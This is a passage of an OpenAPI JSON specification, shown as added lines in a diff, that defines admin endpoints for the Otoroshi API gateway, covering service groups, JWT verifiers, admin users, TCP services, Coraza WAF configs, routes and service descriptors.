"#/components/schemas/ErrorResponse" + } + } + } + }, + "400" : { + "description" : "Bad resource format. Take another look to the swagger, or open an issue", + "content" : { + "application/json" : { + "schema" : { + "$ref" : "#/components/schemas/ErrorResponse" + } + } + } + }, + "404" : { + "description" : "Resource not found or does not exist", + "content" : { + "application/json" : { + "schema" : { + "$ref" : "#/components/schemas/ErrorResponse" + } + } + } + }, + "200" : { + "description" : "Successful operation", + "content" : { + "application/json" : { + "schema" : { + "type" : "array", + "items" : { + "$ref" : "#/components/schemas/organize.otoroshi.io.ServiceGroup" + } + } + } + } + } + } + }, + "post" : { + "tags" : [ "service-group", "organize.otoroshi.io" ], + "summary" : "Creates a ServiceGroup", + "operationId" : "organize.otoroshi.io.ServiceGroup.create", + "parameters" : [ ], + "security" : [ { + "otoroshi_auth" : [ ] + } ], + "responses" : { + "401" : { + "description" : "You have to provide an Api Key. Api Key can be passed using basic http authentication", + "content" : { + "application/json" : { + "schema" : { + "$ref" : "#/components/schemas/ErrorResponse" + } + } + } + }, + "400" : { + "description" : "Bad resource format. Take another look to the swagger, or open an issue", + "content" : { + "application/json" : { + "schema" : { + "$ref" : "#/components/schemas/ErrorResponse" + } + } + } + }, + "404" : { + "description" : "Resource not found or does not exist", + "content" : { + "application/json" : { + "schema" : { + "$ref" : "#/components/schemas/ErrorResponse" + } + } + } + }, + "201" : { + "description" : "Successful operation", + "content" : { + "application/json" : { + "schema" : { + "$ref" : "#/components/schemas/organize.otoroshi.io.ServiceGroup" + } + } + } + } + }, + "requestBody" : { + "description" : "the request body in nd-json format (1 stringified entity per line)", + "required" : true, + "content" : { + "application/json" : { + "schema" : { + "$ref" : "#/components/schemas/organize.otoroshi.io.ServiceGroup" + } + } + } + } + } + }, + "/apis/organize.otoroshi.io/v1/service-groups/_count" : { + "get" : { + "tags" : [ "service-group", "organize.otoroshi.io" ], + "summary" : "Get number of entity of kind ServiceGroup", + "operationId" : "organize.otoroshi.io.ServiceGroup.count", + "parameters" : [ ], + "security" : [ { + "otoroshi_auth" : [ ] + } ], + "responses" : { + "401" : { + "description" : "You have to provide an Api Key. Api Key can be passed using basic http authentication", + "content" : { + "application/json" : { + "schema" : { + "$ref" : "#/components/schemas/ErrorResponse" + } + } + } + }, + "400" : { + "description" : "Bad resource format. Take another look to the swagger, or open an issue", + "content" : { + "application/json" : { + "schema" : { + "$ref" : "#/components/schemas/ErrorResponse" + } + } + } + }, + "404" : { + "description" : "Resource not found or does not exist", + "content" : { + "application/json" : { + "schema" : { + "$ref" : "#/components/schemas/ErrorResponse" + } + } + } + }, + "200" : { + "description" : "Successful operation", + "content" : { + "application/json" : { + "schema" : { + "description" : "Resources count", + "type" : "object", + "properties" : { + "count" : { + "type" : "number", + "description" : "the number of resources" + } + } + } + } + } + } + } + } + }, + "/apis/security.otoroshi.io/v1/jwt-verifiers/_template" : { + "get" : { + "tags" : [ "jwt-verifier", "security.otoroshi.io" ], + "summary" : "Return a template of a resource of kind JwtVerifier", + "operationId" : "security.otoroshi.io.JwtVerifier.template", + "parameters" : [ ], + "security" : [ { + "otoroshi_auth" : [ ] + } ], + "responses" : { + "401" : { + "description" : "You have to provide an Api Key. Api Key can be passed using basic http authentication", + "content" : { + "application/json" : { + "schema" : { + "$ref" : "#/components/schemas/ErrorResponse" + } + } + } + }, + "400" : { + "description" : "Bad resource format. Take another look to the swagger, or open an issue", + "content" : { + "application/json" : { + "schema" : { + "$ref" : "#/components/schemas/ErrorResponse" + } + } + } + }, + "404" : { + "description" : "Resource not found or does not exist", + "content" : { + "application/json" : { + "schema" : { + "$ref" : "#/components/schemas/ErrorResponse" + } + } + } + }, + "200" : { + "description" : "Successful operation", + "content" : { + "application/json" : { + "schema" : { + "description" : "Resource of kind JwtVerifier", + "$ref" : "#/components/schemas/security.otoroshi.io.JwtVerifier" + } + } + } + } + } + } + }, + "/apis/security.otoroshi.io/v1/jwt-verifiers/{id}" : { + "get" : { + "tags" : [ "jwt-verifier", "security.otoroshi.io" ], + "summary" : "Find resource of kind JwtVerifier by its id", + "operationId" : "security.otoroshi.io.JwtVerifier.findById", + "parameters" : [ { + "name" : "id", + "in" : "path", + "schema" : { + "type" : "string" + }, + "required" : true, + "description" : "The id param of the target entity" + } ], + "security" : [ { + "otoroshi_auth" : [ ] + } ], + "responses" : { + "401" : { + "description" : "You have to provide an Api Key. Api Key can be passed using basic http authentication", + "content" : { + "application/json" : { + "schema" : { + "$ref" : "#/components/schemas/ErrorResponse" + } + } + } + }, + "400" : { + "description" : "Bad resource format. Take another look to the swagger, or open an issue", + "content" : { + "application/json" : { + "schema" : { + "$ref" : "#/components/schemas/ErrorResponse" + } + } + } + }, + "404" : { + "description" : "Resource not found or does not exist", + "content" : { + "application/json" : { + "schema" : { + "$ref" : "#/components/schemas/ErrorResponse" + } + } + } + }, + "200" : { + "description" : "Successful operation", + "content" : { + "application/json" : { + "schema" : { + "description" : "Resource of kind JwtVerifier", + "$ref" : "#/components/schemas/security.otoroshi.io.JwtVerifier" + } + } + } + } + } + }, + "put" : { + "tags" : [ "jwt-verifier", "security.otoroshi.io" ], + "summary" : "Updates a specific JwtVerifier using its id", + "operationId" : "security.otoroshi.io.JwtVerifier.updateById", + "parameters" : [ { + "name" : "id", + "in" : "path", + "schema" : { + "type" : "string" + }, + "required" : true, + "description" : "The id param of the target entity" + } ], + "security" : [ { + "otoroshi_auth" : [ ] + } ], + "responses" : { + "401" : { + "description" : "You have to provide an Api Key. Api Key can be passed using basic http authentication", + "content" : { + "application/json" : { + "schema" : { + "$ref" : "#/components/schemas/ErrorResponse" + } + } + } + }, + "400" : { + "description" : "Bad resource format. Take another look to the swagger, or open an issue", + "content" : { + "application/json" : { + "schema" : { + "$ref" : "#/components/schemas/ErrorResponse" + } + } + } + }, + "404" : { + "description" : "Resource not found or does not exist", + "content" : { + "application/json" : { + "schema" : { + "$ref" : "#/components/schemas/ErrorResponse" + } + } + } + }, + "200" : { + "description" : "Successful operation", + "content" : { + "application/x-ndjson" : { + "schema" : { + "$ref" : "#/components/schemas/security.otoroshi.io.JwtVerifier" + } + } + } + } + }, + "requestBody" : { + "description" : "the request body in nd-json format (1 stringified entity per line)", + "required" : true, + "content" : { + "application/x-ndjson" : { + "schema" : { + "$ref" : "#/components/schemas/security.otoroshi.io.JwtVerifier" + } + } + } + } + }, + "patch" : { + "tags" : [ "jwt-verifier", "security.otoroshi.io" ], + "summary" : "Updates (using json-patch) a specific JwtVerifier using its id", + "operationId" : "security.otoroshi.io.JwtVerifier.pathById", + "parameters" : [ { + "name" : "id", + "in" : "path", + "schema" : { + "type" : "string" + }, + "required" : true, + "description" : "The id param of the target entity" + } ], + "security" : [ { + "otoroshi_auth" : [ ] + } ], + "responses" : { + "401" : { + "description" : "You have to provide an Api Key. Api Key can be passed using basic http authentication", + "content" : { + "application/json" : { + "schema" : { + "$ref" : "#/components/schemas/ErrorResponse" + } + } + } + }, + "400" : { + "description" : "Bad resource format. Take another look to the swagger, or open an issue", + "content" : { + "application/json" : { + "schema" : { + "$ref" : "#/components/schemas/ErrorResponse" + } + } + } + }, + "404" : { + "description" : "Resource not found or does not exist", + "content" : { + "application/json" : { + "schema" : { + "$ref" : "#/components/schemas/ErrorResponse" + } + } + } + }, + "200" : { + "description" : "Successful operation", + "content" : { + "application/x-ndjson" : { + "schema" : { + "$ref" : "#/components/schemas/security.otoroshi.io.JwtVerifier" + } + } + } + } + }, + "requestBody" : { + "description" : "the request body in nd-json format (1 stringified entity per line)", + "required" : true, + "content" : { + "application/x-ndjson" : { + "schema" : { + "$ref" : "#/components/schemas/security.otoroshi.io.JwtVerifier" + } + } + } + } + }, + "delete" : { + "tags" : [ "jwt-verifier", "security.otoroshi.io" ], + "summary" : "Deletes a specific JwtVerifier using its id", + "operationId" : "security.otoroshi.io.JwtVerifier.deleteById", + "parameters" : [ { + "name" : "id", + "in" : "path", + "schema" : { + "type" : "string" + }, + "required" : true, + "description" : "The id param of the target entity" + } ], + "security" : [ { + "otoroshi_auth" : [ ] + } ], + "responses" : { + "401" : { + "description" : "You have to provide an Api Key. Api Key can be passed using basic http authentication", + "content" : { + "application/json" : { + "schema" : { + "$ref" : "#/components/schemas/ErrorResponse" + } + } + } + }, + "400" : { + "description" : "Bad resource format. Take another look to the swagger, or open an issue", + "content" : { + "application/json" : { + "schema" : { + "$ref" : "#/components/schemas/ErrorResponse" + } + } + } + }, + "404" : { + "description" : "Resource not found or does not exist", + "content" : { + "application/json" : { + "schema" : { + "$ref" : "#/components/schemas/ErrorResponse" + } + } + } + }, + "200" : { + "description" : "Successful operation", + "content" : { + "application/x-ndjson" : { + "schema" : { + "$ref" : "#/components/schemas/security.otoroshi.io.JwtVerifier" + } + } + } + } + } + } + }, + "/apis/security.otoroshi.io/v1/admins" : { + "get" : { + "tags" : [ "admins", "security.otoroshi.io" ], + "summary" : "Find all possible SimpleAdminUser entities", + "operationId" : "security.otoroshi.io.SimpleAdminUser.findAll", + "parameters" : [ ], + "security" : [ { + "otoroshi_auth" : [ ] + } ], + "responses" : { + "401" : { + "description" : "You have to provide an Api Key. Api Key can be passed using basic http authentication", + "content" : { + "application/json" : { + "schema" : { + "$ref" : "#/components/schemas/ErrorResponse" + } + } + } + }, + "400" : { + "description" : "Bad resource format. Take another look to the swagger, or open an issue", + "content" : { + "application/json" : { + "schema" : { + "$ref" : "#/components/schemas/ErrorResponse" + } + } + } + }, + "404" : { + "description" : "Resource not found or does not exist", + "content" : { + "application/json" : { + "schema" : { + "$ref" : "#/components/schemas/ErrorResponse" + } + } + } + }, + "200" : { + "description" : "Successful operation", + "content" : { + "application/json" : { + "schema" : { + "type" : "array", + "items" : { + "$ref" : "#/components/schemas/security.otoroshi.io.SimpleAdminUser" + } + } + } + } + } + } + }, + "post" : { + "tags" : [ "admins", "security.otoroshi.io" ], + "summary" : "Creates a SimpleAdminUser", + "operationId" : "security.otoroshi.io.SimpleAdminUser.create", + "parameters" : [ ], + "security" : [ { + "otoroshi_auth" : [ ] + } ], + "responses" : { + "401" : { + "description" : "You have to provide an Api Key. Api Key can be passed using basic http authentication", + "content" : { + "application/json" : { + "schema" : { + "$ref" : "#/components/schemas/ErrorResponse" + } + } + } + }, + "400" : { + "description" : "Bad resource format. Take another look to the swagger, or open an issue", + "content" : { + "application/json" : { + "schema" : { + "$ref" : "#/components/schemas/ErrorResponse" + } + } + } + }, + "404" : { + "description" : "Resource not found or does not exist", + "content" : { + "application/json" : { + "schema" : { + "$ref" : "#/components/schemas/ErrorResponse" + } + } + } + }, + "201" : { + "description" : "Successful operation", + "content" : { + "application/json" : { + "schema" : { + "$ref" : "#/components/schemas/security.otoroshi.io.SimpleAdminUser" + } + } + } + } + }, + "requestBody" : { + "description" : "the request body in nd-json format (1 stringified entity per line)", + "required" : true, + "content" : { + "application/json" : { + "schema" : { + "$ref" : "#/components/schemas/security.otoroshi.io.SimpleAdminUser" + } + } + } + } + } + }, + "/apis/proxy.otoroshi.io/v1/tcp-services/_bulk" : { + "post" : { + "tags" : [ "tcp-service", "proxy.otoroshi.io" ], + "summary" : "Create multiple TcpService at the same time", + "operationId" : "proxy.otoroshi.io.TcpService.bulk_create", + "parameters" : [ ], + "security" : [ { + "otoroshi_auth" : [ ] + } ], + "responses" : { + "401" : { + "description" : "You have to provide an Api Key. Api Key can be passed using basic http authentication", + "content" : { + "application/json" : { + "schema" : { + "$ref" : "#/components/schemas/ErrorResponse" + } + } + } + }, + "400" : { + "description" : "Bad resource format. Take another look to the swagger, or open an issue", + "content" : { + "application/json" : { + "schema" : { + "$ref" : "#/components/schemas/ErrorResponse" + } + } + } + }, + "404" : { + "description" : "Resource not found or does not exist", + "content" : { + "application/json" : { + "schema" : { + "$ref" : "#/components/schemas/ErrorResponse" + } + } + } + }, + "200" : { + "description" : "Successful operation", + "content" : { + "application/x-ndjson" : { + "schema" : { + "$ref" : "#/components/schemas/BulkResponseBody" + } + } + } + } + }, + "requestBody" : { + "description" : "the request body in nd-json format (1 stringified entity per line)", + "required" : false, + "content" : { + "application/x-ndjson" : { + "schema" : { + "type" : "array", + "items" : { + "$ref" : "#/components/schemas/proxy.otoroshi.io.TcpService" + } + } + } + } + } + }, + "put" : { + "tags" : [ "tcp-service", "proxy.otoroshi.io" ], + "summary" : "Update multiple TcpService at the same time", + "operationId" : "proxy.otoroshi.io.TcpService.bulk_update", + "parameters" : [ ], + "security" : [ { + "otoroshi_auth" : [ ] + } ], + "responses" : { + "401" : { + "description" : "You have to provide an Api Key. Api Key can be passed using basic http authentication", + "content" : { + "application/json" : { + "schema" : { + "$ref" : "#/components/schemas/ErrorResponse" + } + } + } + }, + "400" : { + "description" : "Bad resource format. Take another look to the swagger, or open an issue", + "content" : { + "application/json" : { + "schema" : { + "$ref" : "#/components/schemas/ErrorResponse" + } + } + } + }, + "404" : { + "description" : "Resource not found or does not exist", + "content" : { + "application/json" : { + "schema" : { + "$ref" : "#/components/schemas/ErrorResponse" + } + } + } + }, + "200" : { + "description" : "Successful operation", + "content" : { + "application/x-ndjson" : { + "schema" : { + "$ref" : "#/components/schemas/BulkResponseBody" + } + } + } + } + }, + "requestBody" : { + "description" : "the request body in nd-json format (1 stringified entity per line)", + "required" : false, + "content" : { + "application/x-ndjson" : { + "schema" : { + "type" : "array", + "items" : { + "$ref" : "#/components/schemas/proxy.otoroshi.io.TcpService" + } + } + } + } + } + }, + "patch" : { + "tags" : [ "tcp-service", "proxy.otoroshi.io" ], + "summary" : "Update (using json-patch) multiple TcpService at the same time", + "operationId" : "proxy.otoroshi.io.TcpService.bulk_patch", + "parameters" : [ ], + "security" : [ { + "otoroshi_auth" : [ ] + } ], + "responses" : { + "401" : { + "description" : "You have to provide an Api Key. Api Key can be passed using basic http authentication", + "content" : { + "application/json" : { + "schema" : { + "$ref" : "#/components/schemas/ErrorResponse" + } + } + } + }, + "400" : { + "description" : "Bad resource format. Take another look to the swagger, or open an issue", + "content" : { + "application/json" : { + "schema" : { + "$ref" : "#/components/schemas/ErrorResponse" + } + } + } + }, + "404" : { + "description" : "Resource not found or does not exist", + "content" : { + "application/json" : { + "schema" : { + "$ref" : "#/components/schemas/ErrorResponse" + } + } + } + }, + "200" : { + "description" : "Successful operation", + "content" : { + "application/x-ndjson" : { + "schema" : { + "$ref" : "#/components/schemas/BulkResponseBody" + } + } + } + } + }, + "requestBody" : { + "description" : "the request body in nd-json format (1 stringified entity per line)", + "required" : false, + "content" : { + "application/x-ndjson" : { + "schema" : { + "$ref" : "#/components/schemas/BulkPatchBody" + } + } + } + } + }, + "delete" : { + "tags" : [ "tcp-service", "proxy.otoroshi.io" ], + "summary" : "Delete multiple TcpService at the same time", + "operationId" : "proxy.otoroshi.io.TcpService.bulk_delete", + "parameters" : [ ], + "security" : [ { + "otoroshi_auth" : [ ] + } ], + "responses" : { + "401" : { + "description" : "You have to provide an Api Key. Api Key can be passed using basic http authentication", + "content" : { + "application/json" : { + "schema" : { + "$ref" : "#/components/schemas/ErrorResponse" + } + } + } + }, + "400" : { + "description" : "Bad resource format. Take another look to the swagger, or open an issue", + "content" : { + "application/json" : { + "schema" : { + "$ref" : "#/components/schemas/ErrorResponse" + } + } + } + }, + "404" : { + "description" : "Resource not found or does not exist", + "content" : { + "application/json" : { + "schema" : { + "$ref" : "#/components/schemas/ErrorResponse" + } + } + } + }, + "200" : { + "description" : "Successful operation", + "content" : { + "application/x-ndjson" : { + "schema" : { + "$ref" : "#/components/schemas/BulkResponseBody" + } + } + } + } + } + } + }, + "/apis/coraza-waf.extensions.otoroshi.io/v1/coraza-configs/{id}" : { + "get" : { + "tags" : [ "coraza-config", "coraza-waf.extensions.otoroshi.io" ], + "summary" : "Find resource of kind CorazaConfig by its id", + "operationId" : "coraza-waf.extensions.otoroshi.io.CorazaConfig.findById", + "parameters" : [ { + "name" : "id", + "in" : "path", + "schema" : { + "type" : "string" + }, + "required" : true, + "description" : "The id param of the target entity" + } ], + "security" : [ { + "otoroshi_auth" : [ ] + } ], + "responses" : { + "401" : { + "description" : "You have to provide an Api Key. Api Key can be passed using basic http authentication", + "content" : { + "application/json" : { + "schema" : { + "$ref" : "#/components/schemas/ErrorResponse" + } + } + } + }, + "400" : { + "description" : "Bad resource format. Take another look to the swagger, or open an issue", + "content" : { + "application/json" : { + "schema" : { + "$ref" : "#/components/schemas/ErrorResponse" + } + } + } + }, + "404" : { + "description" : "Resource not found or does not exist", + "content" : { + "application/json" : { + "schema" : { + "$ref" : "#/components/schemas/ErrorResponse" + } + } + } + }, + "200" : { + "description" : "Successful operation", + "content" : { + "application/json" : { + "schema" : { + "description" : "Resource of kind CorazaConfig", + "$ref" : "#/components/schemas/coraza-waf.extensions.otoroshi.io.CorazaConfig" + } + } + } + } + } + }, + "put" : { + "tags" : [ "coraza-config", "coraza-waf.extensions.otoroshi.io" ], + "summary" : "Updates a specific CorazaConfig using its id", + "operationId" : "coraza-waf.extensions.otoroshi.io.CorazaConfig.updateById", + "parameters" : [ { + "name" : "id", + "in" : "path", + "schema" : { + "type" : "string" + }, + "required" : true, + "description" : "The id param of the target entity" + } ], + "security" : [ { + "otoroshi_auth" : [ ] + } ], + "responses" : { + "401" : { + "description" : "You have to provide an Api Key. Api Key can be passed using basic http authentication", + "content" : { + "application/json" : { + "schema" : { + "$ref" : "#/components/schemas/ErrorResponse" + } + } + } + }, + "400" : { + "description" : "Bad resource format. Take another look to the swagger, or open an issue", + "content" : { + "application/json" : { + "schema" : { + "$ref" : "#/components/schemas/ErrorResponse" + } + } + } + }, + "404" : { + "description" : "Resource not found or does not exist", + "content" : { + "application/json" : { + "schema" : { + "$ref" : "#/components/schemas/ErrorResponse" + } + } + } + }, + "200" : { + "description" : "Successful operation", + "content" : { + "application/x-ndjson" : { + "schema" : { + "$ref" : "#/components/schemas/coraza-waf.extensions.otoroshi.io.CorazaConfig" + } + } + } + } + }, + "requestBody" : { + "description" : "the request body in nd-json format (1 stringified entity per line)", + "required" : true, + "content" : { + "application/x-ndjson" : { + "schema" : { + "$ref" : "#/components/schemas/coraza-waf.extensions.otoroshi.io.CorazaConfig" + } + } + } + } + }, + "patch" : { + "tags" : [ "coraza-config", "coraza-waf.extensions.otoroshi.io" ], + "summary" : "Updates (using json-patch) a specific CorazaConfig using its id", + "operationId" : "coraza-waf.extensions.otoroshi.io.CorazaConfig.pathById", + "parameters" : [ { + "name" : "id", + "in" : "path", + "schema" : { + "type" : "string" + }, + "required" : true, + "description" : "The id param of the target entity" + } ], + "security" : [ { + "otoroshi_auth" : [ ] + } ], + "responses" : { + "401" : { + "description" : "You have to provide an Api Key. Api Key can be passed using basic http authentication", + "content" : { + "application/json" : { + "schema" : { + "$ref" : "#/components/schemas/ErrorResponse" + } + } + } + }, + "400" : { + "description" : "Bad resource format. Take another look to the swagger, or open an issue", + "content" : { + "application/json" : { + "schema" : { + "$ref" : "#/components/schemas/ErrorResponse" + } + } + } + }, + "404" : { + "description" : "Resource not found or does not exist", + "content" : { + "application/json" : { + "schema" : { + "$ref" : "#/components/schemas/ErrorResponse" + } + } + } + }, + "200" : { + "description" : "Successful operation", + "content" : { + "application/x-ndjson" : { + "schema" : { + "$ref" : "#/components/schemas/coraza-waf.extensions.otoroshi.io.CorazaConfig" + } + } + } + } + }, + "requestBody" : { + "description" : "the request body in nd-json format (1 stringified entity per line)", + "required" : true, + "content" : { + "application/x-ndjson" : { + "schema" : { + "$ref" : "#/components/schemas/coraza-waf.extensions.otoroshi.io.CorazaConfig" + } + } + } + } + }, + "delete" : { + "tags" : [ "coraza-config", "coraza-waf.extensions.otoroshi.io" ], + "summary" : "Deletes a specific CorazaConfig using its id", + "operationId" : "coraza-waf.extensions.otoroshi.io.CorazaConfig.deleteById", + "parameters" : [ { + "name" : "id", + "in" : "path", + "schema" : { + "type" : "string" + }, + "required" : true, + "description" : "The id param of the target entity" + } ], + "security" : [ { + "otoroshi_auth" : [ ] + } ], + "responses" : { + "401" : { + "description" : "You have to provide an Api Key. Api Key can be passed using basic http authentication", + "content" : { + "application/json" : { + "schema" : { + "$ref" : "#/components/schemas/ErrorResponse" + } + } + } + }, + "400" : { + "description" : "Bad resource format. Take another look to the swagger, or open an issue", + "content" : { + "application/json" : { + "schema" : { + "$ref" : "#/components/schemas/ErrorResponse" + } + } + } + }, + "404" : { + "description" : "Resource not found or does not exist", + "content" : { + "application/json" : { + "schema" : { + "$ref" : "#/components/schemas/ErrorResponse" + } + } + } + }, + "200" : { + "description" : "Successful operation", + "content" : { + "application/x-ndjson" : { + "schema" : { + "$ref" : "#/components/schemas/coraza-waf.extensions.otoroshi.io.CorazaConfig" + } + } + } + } + } + } + }, + "/apis/proxy.otoroshi.io/v1/tcp-services/_template" : { + "get" : { + "tags" : [ "tcp-service", "proxy.otoroshi.io" ], + "summary" : "Return a template of a resource of kind TcpService", + "operationId" : "proxy.otoroshi.io.TcpService.template", + "parameters" : [ ], + "security" : [ { + "otoroshi_auth" : [ ] + } ], + "responses" : { + "401" : { + "description" : "You have to provide an Api Key. Api Key can be passed using basic http authentication", + "content" : { + "application/json" : { + "schema" : { + "$ref" : "#/components/schemas/ErrorResponse" + } + } + } + }, + "400" : { + "description" : "Bad resource format. Take another look to the swagger, or open an issue", + "content" : { + "application/json" : { + "schema" : { + "$ref" : "#/components/schemas/ErrorResponse" + } + } + } + }, + "404" : { + "description" : "Resource not found or does not exist", + "content" : { + "application/json" : { + "schema" : { + "$ref" : "#/components/schemas/ErrorResponse" + } + } + } + }, + "200" : { + "description" : "Successful operation", + "content" : { + "application/json" : { + "schema" : { + "description" : "Resource of kind TcpService", + "$ref" : "#/components/schemas/proxy.otoroshi.io.TcpService" + } + } + } + } + } + } + }, + "/apis/proxy.otoroshi.io/v1/service-descriptors/_bulk" : { + "post" : { + "tags" : [ "service-descriptor", "proxy.otoroshi.io" ], + "summary" : "Create multiple ServiceDescriptor at the same time", + "operationId" : "proxy.otoroshi.io.ServiceDescriptor.bulk_create", + "parameters" : [ ], + "security" : [ { + "otoroshi_auth" : [ ] + } ], + "responses" : { + "401" : { + "description" : "You have to provide an Api Key. Api Key can be passed using basic http authentication", + "content" : { + "application/json" : { + "schema" : { + "$ref" : "#/components/schemas/ErrorResponse" + } + } + } + }, + "400" : { + "description" : "Bad resource format. Take another look to the swagger, or open an issue", + "content" : { + "application/json" : { + "schema" : { + "$ref" : "#/components/schemas/ErrorResponse" + } + } + } + }, + "404" : { + "description" : "Resource not found or does not exist", + "content" : { + "application/json" : { + "schema" : { + "$ref" : "#/components/schemas/ErrorResponse" + } + } + } + }, + "200" : { + "description" : "Successful operation", + "content" : { + "application/x-ndjson" : { + "schema" : { + "$ref" : "#/components/schemas/BulkResponseBody" + } + } + } + } + }, + "requestBody" : { + "description" : "the request body in nd-json format (1 stringified entity per line)", + "required" : false, + "content" : { + "application/x-ndjson" : { + "schema" : { + "type" : "array", + "items" : { + "$ref" : "#/components/schemas/proxy.otoroshi.io.ServiceDescriptor" + } + } + } + } + } + }, + "put" : { + "tags" : [ "service-descriptor", "proxy.otoroshi.io" ], + "summary" : "Update multiple ServiceDescriptor at the same time", + "operationId" : "proxy.otoroshi.io.ServiceDescriptor.bulk_update", + "parameters" : [ ], + "security" : [ { + "otoroshi_auth" : [ ] + } ], + "responses" : { + "401" : { + "description" : "You have to provide an Api Key. Api Key can be passed using basic http authentication", + "content" : { + "application/json" : { + "schema" : { + "$ref" : "#/components/schemas/ErrorResponse" + } + } + } + }, + "400" : { + "description" : "Bad resource format. Take another look to the swagger, or open an issue", + "content" : { + "application/json" : { + "schema" : { + "$ref" : "#/components/schemas/ErrorResponse" + } + } + } + }, + "404" : { + "description" : "Resource not found or does not exist", + "content" : { + "application/json" : { + "schema" : { + "$ref" : "#/components/schemas/ErrorResponse" + } + } + } + }, + "200" : { + "description" : "Successful operation", + "content" : { + "application/x-ndjson" : { + "schema" : { + "$ref" : "#/components/schemas/BulkResponseBody" + } + } + } + } + }, + "requestBody" : { + "description" : "the request body in nd-json format (1 stringified entity per line)", + "required" : false, + "content" : { + "application/x-ndjson" : { + "schema" : { + "type" : "array", + "items" : { + "$ref" : "#/components/schemas/proxy.otoroshi.io.ServiceDescriptor" + } + } + } + } + } + }, + "patch" : { + "tags" : [ "service-descriptor", "proxy.otoroshi.io" ], + "summary" : "Update (using json-patch) multiple ServiceDescriptor at the same time", + "operationId" : "proxy.otoroshi.io.ServiceDescriptor.bulk_patch", + "parameters" : [ ], + "security" : [ { + "otoroshi_auth" : [ ] + } ], + "responses" : { + "401" : { + "description" : "You have to provide an Api Key. Api Key can be passed using basic http authentication", + "content" : { + "application/json" : { + "schema" : { + "$ref" : "#/components/schemas/ErrorResponse" + } + } + } + }, + "400" : { + "description" : "Bad resource format. Take another look to the swagger, or open an issue", + "content" : { + "application/json" : { + "schema" : { + "$ref" : "#/components/schemas/ErrorResponse" + } + } + } + }, + "404" : { + "description" : "Resource not found or does not exist", + "content" : { + "application/json" : { + "schema" : { + "$ref" : "#/components/schemas/ErrorResponse" + } + } + } + }, + "200" : { + "description" : "Successful operation", + "content" : { + "application/x-ndjson" : { + "schema" : { + "$ref" : "#/components/schemas/BulkResponseBody" + } + } + } + } + }, + "requestBody" : { + "description" : "the request body in nd-json format (1 stringified entity per line)", + "required" : false, + "content" : { + "application/x-ndjson" : { + "schema" : { + "$ref" : "#/components/schemas/BulkPatchBody" + } + } + } + } + }, + "delete" : { + "tags" : [ "service-descriptor", "proxy.otoroshi.io" ], + "summary" : "Delete multiple ServiceDescriptor at the same time", + "operationId" : "proxy.otoroshi.io.ServiceDescriptor.bulk_delete", + "parameters" : [ ], + "security" : [ { + "otoroshi_auth" : [ ] + } ], + "responses" : { + "401" : { + "description" : "You have to provide an Api Key. Api Key can be passed using basic http authentication", + "content" : { + "application/json" : { + "schema" : { + "$ref" : "#/components/schemas/ErrorResponse" + } + } + } + }, + "400" : { + "description" : "Bad resource format. Take another look to the swagger, or open an issue", + "content" : { + "application/json" : { + "schema" : { + "$ref" : "#/components/schemas/ErrorResponse" + } + } + } + }, + "404" : { + "description" : "Resource not found or does not exist", + "content" : { + "application/json" : { + "schema" : { + "$ref" : "#/components/schemas/ErrorResponse" + } + } + } + }, + "200" : { + "description" : "Successful operation", + "content" : { + "application/x-ndjson" : { + "schema" : { + "$ref" : "#/components/schemas/BulkResponseBody" + } + } + } + } + } + } + }, + "/api/cluster/live" : { + "get" : { + "tags" : [ "cluster" ], + "summary" : "???", + "operationId" : "otoroshi.controllers.adminapi.ClusterController.liveCluster", + "parameters" : [ ], + "security" : [ { + "otoroshi_auth" : [ ] + } ], + "responses" : { + "200" : { + "description" : "Successful operation", + "content" : { + "application/json" : { + "schema" : { + "description" : "unknown type", + "type" : "object" + } + } + } + }, + "400" : { + "description" : "Bad resource format. Take another look to the swagger, or open an issue", + "content" : { + "application/json" : { + "schema" : { + "$ref" : "#/components/schemas/ErrorResponse" + } + } + } + }, + "401" : { + "description" : "You have to provide an Api Key. Api Key can be passed using basic http authentication", + "content" : { + "application/json" : { + "schema" : { + "$ref" : "#/components/schemas/ErrorResponse" + } + } + } + }, + "404" : { + "description" : "Resource not found or does not exist", + "content" : { + "application/json" : { + "schema" : { + "$ref" : "#/components/schemas/ErrorResponse" + } + } + } + } + } + } + }, + "/apis/proxy.otoroshi.io/v1/routes/_template" : { + "get" : { + "tags" : [ "route", "proxy.otoroshi.io" ], + "summary" : "Return a template of a resource of kind Route", + "operationId" : "proxy.otoroshi.io.Route.template", + "parameters" : [ ], + "security" : [ { + "otoroshi_auth" : [ ] + } ], + "responses" : { + "401" : { + "description" : "You have to provide an Api Key. Api Key can be passed using basic http authentication", + "content" : { + "application/json" : { + "schema" : { + "$ref" : "#/components/schemas/ErrorResponse" + } + } + } + }, + "400" : { + "description" : "Bad resource format. Take another look to the swagger, or open an issue", + "content" : { + "application/json" : { + "schema" : { + "$ref" : "#/components/schemas/ErrorResponse" + } + } + } + }, + "404" : { + "description" : "Resource not found or does not exist", + "content" : { + "application/json" : { + "schema" : { + "$ref" : "#/components/schemas/ErrorResponse" + } + } + } + }, + "200" : { + "description" : "Successful operation", + "content" : { + "application/json" : { + "schema" : { + "description" : "Resource of kind Route", + "$ref" : "#/components/schemas/proxy.otoroshi.io.Route" + } + } + } + } + } + } + }, + "/apis/proxy.otoroshi.io/v1/service-descriptors/{id}" : { + "get" : { + "tags" : [ "service-descriptor", "proxy.otoroshi.io" ], + "summary" : "Find resource of kind ServiceDescriptor by its id", + "operationId" : "proxy.otoroshi.io.ServiceDescriptor.findById", + "parameters" : [ { + "name" : "id", + "in" : "path", + "schema" : { + "type" : "string" + }, + "required" : true, + "description" : "The id param of the target entity" + } ], + "security" : [ { + "otoroshi_auth" : [ ] + } ], + "responses" : { + "401" : { + "description" : "You have to provide an Api Key. Api Key can be passed using basic http authentication", + "content" : { + "application/json" : { + "schema" : { + "$ref" : "#/components/schemas/ErrorResponse" + } + } + } + }, + "400" : { + "description" : "Bad resource format. Take another look to the swagger, or open an issue", + "content" : { + "application/json" : { + "schema" : { + "$ref" : "#/components/schemas/ErrorResponse" + } + } + } + }, + "404" : { + "description" : "Resource not found or does not exist", + "content" : { + "application/json" : { + "schema" : { + "$ref" : "#/components/schemas/ErrorResponse" + } + } + } + }, + "200" : { + "description" : "Successful operation", + "content" : { + "application/json" : { + "schema" : { + "description" : "Resource of kind ServiceDescriptor", + "$ref" : "#/components/schemas/proxy.otoroshi.io.ServiceDescriptor" + } + } + } + } + } + }, + "put" : { + "tags" : [ "service-descriptor", "proxy.otoroshi.io" ], + "summary" : "Updates a specific ServiceDescriptor using its id", + "operationId" : "proxy.otoroshi.io.ServiceDescriptor.updateById", + "parameters" : [ { + "name" : "id", + "in" : "path", + 